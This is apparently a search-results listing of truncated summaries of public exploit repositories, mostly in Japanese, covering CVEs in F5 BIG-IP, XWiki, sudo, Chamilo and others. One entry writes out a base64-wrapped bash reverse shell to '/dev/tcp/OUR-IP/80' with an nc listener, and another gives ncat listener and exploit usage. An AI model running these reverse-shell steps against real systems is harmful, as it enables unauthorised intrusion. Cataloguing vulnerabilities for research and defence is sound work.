36194 matches found
tippa-my-tongue
Tippa My Tongue Tippa My Tongueは、CVE-2022-1388およびCVE-2022-41800を利用してF5 BIG-IP製品上でrootリバースシェルを確立するエクスプロイトです。ほとんどのCVE-2022-1388エクスプロイトは/mgmt/tm/util/bashを使用してコード実行を達成します。しかし、このエクスプロイトは/mgmt/shared/iapp/rpm-spec-creatorに続いて/mgmt/shared/iapp/build-packageを使用します。このアプローチは、Ron...
CVE-2023-4220-exploit
CVE-2023-4220-exploit Chamilo LMS バージョン = 1.11.24 の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大容量ファイルアップロード機能の無制限なファイルアップロードにより、認証されていない攻撃者が格納型クロスサイトスクリプティング攻撃を実行し、Webシェルをアップロードすることでリモートコード実行を取得できます。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...
cve-2023-6931-pipa
CVE-2023-6931 — Xiaomi Pad 6（pipa）権限昇格と SELinux 無効化 最終的にデバイス上で使用したバージョンの exploit を、このディレクトリに単独で整理した。 ターゲット root@kitploit: デバイス Xiaomi Pad 6 / pipa / SM8250 システム HyperOS OS2.0.20.0.UMZCNXM カーネル 4.19.157-perf-g240e1d0a5f52 起点 adb shell（shell ドメイン） 結果 一度きりの uid0 + グローバル SELinux permissive（再起動で無効）...
CVE-Exploit-Research-Development
🔐 SSH Exploit Tool 教育目的のみ 📌 説明 このツールは以下の脆弱性の悪用を実演します： CVE-2008-0166 CVE-2008-1657 脆弱なSSHサービスに接続し、以下を提供します： 永続的なインタラクティブシェル コマンド実行のログ記録 PDFおよびDOCXレポートの自動生成 ⚙️ 機能 永続シェル（cd、ls、pwd など） 実際のコマンド出力をキャプチャ プロフェッショナルなレポートを生成 整理された出力ディレクトリ 📦 インストール root@kitploit: git clone...
CVE-2025-31324-File-Upload
CVE-2025-31324-File-Upload Visual Composer の完全に認証不要のファイルアップロードエンドポイントにより、誰でも任意のファイル（例: JSP ウェブシェル）をサーバーにアップロードできます。 SAP NetWeaver Visual Composer の「Metadata Uploader」コンポーネントにおける、認証不要のファイルアップロード脆弱性（CVE-2025-31324）を検査・悪用するための Proof-of-Concept ツールです。 免責事項:...
CVE-2025-3248
CVE-2025-3248 脆弱なAPIエンドポイントを利用したリモートコード実行（RCE）の概念実証（PoC）。 Info: ⚠️ 自己責任で使用してください！ ❓ リバースシェル用のオプションを追加しました。 ✅ validatecode がオフの場合に自動リトライします。 ショーケース 使い方 root@kitploit: python CVE-2025-3248.py / python3 CVE-2025-3248.py 免責事項 root@kitploit: By using this tool, you agree that you are using it for...
CVE-2014-6287
CVE-2014-6287 - Rejetto HTTP File Server RCE エクスプロイト CVE-2014-6287 エクスプロイトの Rust 実装。Rejetto HTTP File Server HFS バージョン 2.3x（2.3c より前）を標的とします。 脆弱性の概要 CVE-2014-6287 は、Rejetto HTTP File Server HFS における重大なリモートコード実行の脆弱性です。 技術的詳細 影響を受けるソフトウェア : Rejetto HTTP File Server HFS 2.3x（2.3c より前） 脆弱性の種類 :...
CVE-2025-57489
CVE-2025-57489 説明 開発者のブログより： SuperDuperのロックが解除され、管理者パスワードを入力せずに実行できるようになると、サードパーティのプログラムがその認可を利用して、バックアップ以外のものを管理者権限で実行する可能性があります。 CVE説明： Shirt Pocket SuperDuper! v3.10のSDAgentコンポーネントにおける不適切なアクセス制御により、setuidバイナリの不適切な使用により攻撃者が権限をrootに昇格させることができます。 帰属...
CVE-2026-82369: Improper Neutralization of Special Elements used in an OS Command
Insufficient input sanitization of shell metacharacters in the Brocade SANnav CLI scripting component permits authenticated users to break out of restricted execution contexts on managed switches. An attacker with command execution permissions can leverage this flaw to run unauthorized shell...
CVE-2021-3156
CVE-2021-3156 CVE-2021-3156 の Root shell PoC（ブルートフォースなし） 教育目的等のため。 Ubuntu 20.04 上の sudo 1.8.31 に対してテスト済み すべての研究クレジット: Qualys Research Team 詳細は彼らのブログをご確認ください。 sudo のバージョンが脆弱かどうかは、$ sudoedit -s Y で確認できます。 パスワードを求められた場合、ほぼ確実に脆弱です。使用方法が表示された場合は脆弱ではありません。 テスト目的で Ubuntu 20.04 の脆弱なバージョンにダウングレードするには、$ su...
Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation
Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自動的に脆弱なdavfs2 CVE-2013-4362 を持つシステムを悪用します これは何のためのものですか？ 脆弱なバージョンのdavfs2の悪用を簡略化するための2つの.shスクリプトです。 前提条件 モジュール'fuse'または'coda'の少なくとも1つがカーネルにロードされていない必要があります（PoCはデフォルトではロードされないcodaで動作します） リモートのwebdavサーバーをマウントできるユーザーである必要があります 確認方法: cat /etc/gro...
CVE-2021-21425
CVE-2021-21425 出典: https://www.exploit-db.com/exploits/49973 1 ターゲットIPを変更 2 ペイロードを変更 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...
cve-2017-0358.sh
このリポジトリには README がありません。...
log4shell-minecraft-demo
Log4Shell CVE-2021-44228 Minecraft デモ このデモは、教育フェアで、将来の学生候補にHTL Villachのサイバーセキュリティ学科と、日常的なアプリケーションがどのように悪用され得るかを紹介するために使用されます。 注記: このデモ全体はMinecraft 1.8.8を使用しています。 攻撃者 このシナリオの攻撃者は、kozmerによるPoCを使用しています。 https://github.com/kozmer/log4j-shell-poc すべてのクレジットは彼らに帰属します。 注記: すべてのコマンドは attacker/...
Webmin-CVE-2022-0824-Enhanced-Exploit
Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 拡張版エクスプロイトツール - コマンド実行とリバースシェルのデュアルモード対応 !IMPORTANT Webmin CVE-2022-0824 の脆弱性を狙った拡張版エクスプロイトツールです。直接のコマンド実行とリバースシェルの2つのモードに対応しています。 🚀 特徴 ✅ デュアルモード対応 : コマンド実行モード + リバースシェルモード ✅ 複数ペイロード : Perl、Bash、Pythonの3種類のペイロード ✅ スマートなファイル管理 :...
CVE-2024-53345
CVE-2024-53345 Car Rental Management System バージョン 1.0〜1.3 における重大な 0 Day 脆弱性 説明: Car Rental Management System（バージョン 1.0〜1.3）の System Settings モジュールのファイルアップロード機能に重大な脆弱性が存在し、低権限ユーザーが実行可能な PHP...
PHP-REVERSE-SHELL
PHP 리버스 셸 강력하고 은밀함 이것은 모의 해킹 및 침투 테스트를 위해 설계된 강력하고 은밀한 PHP 리버스 셸입니다. 사용자 시스템으로 안정적이고 조용한 연결을 설정합니다. ⚠️ 면책 조항 이 PHP 리버스 셸은 교육 및 승인된 침투 테스트 목적으로만 개발되었습니다. 개발자는 이 리버스 셸을 사용하여 수행된 모든 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 책임감 있게 사용하고, 소유하거나 명시적인 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 접근은 불법이며 법적으로 처벌받을 수 있습니다. 기능 IP ...
CVE-2018-14699
CVE-2018-14699 DroboAccess v2.1 の enableuser 関数における未認証のコマンドインジェクション 使用方法: 使用するには、まずリスナーを起動します ncat -nvlp 1337 次にエクスプロイトを実行します 例: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='エクスプロイト対象のホスト、例: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='リスナーIP',...
CVE-2025-24893-PoC
CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...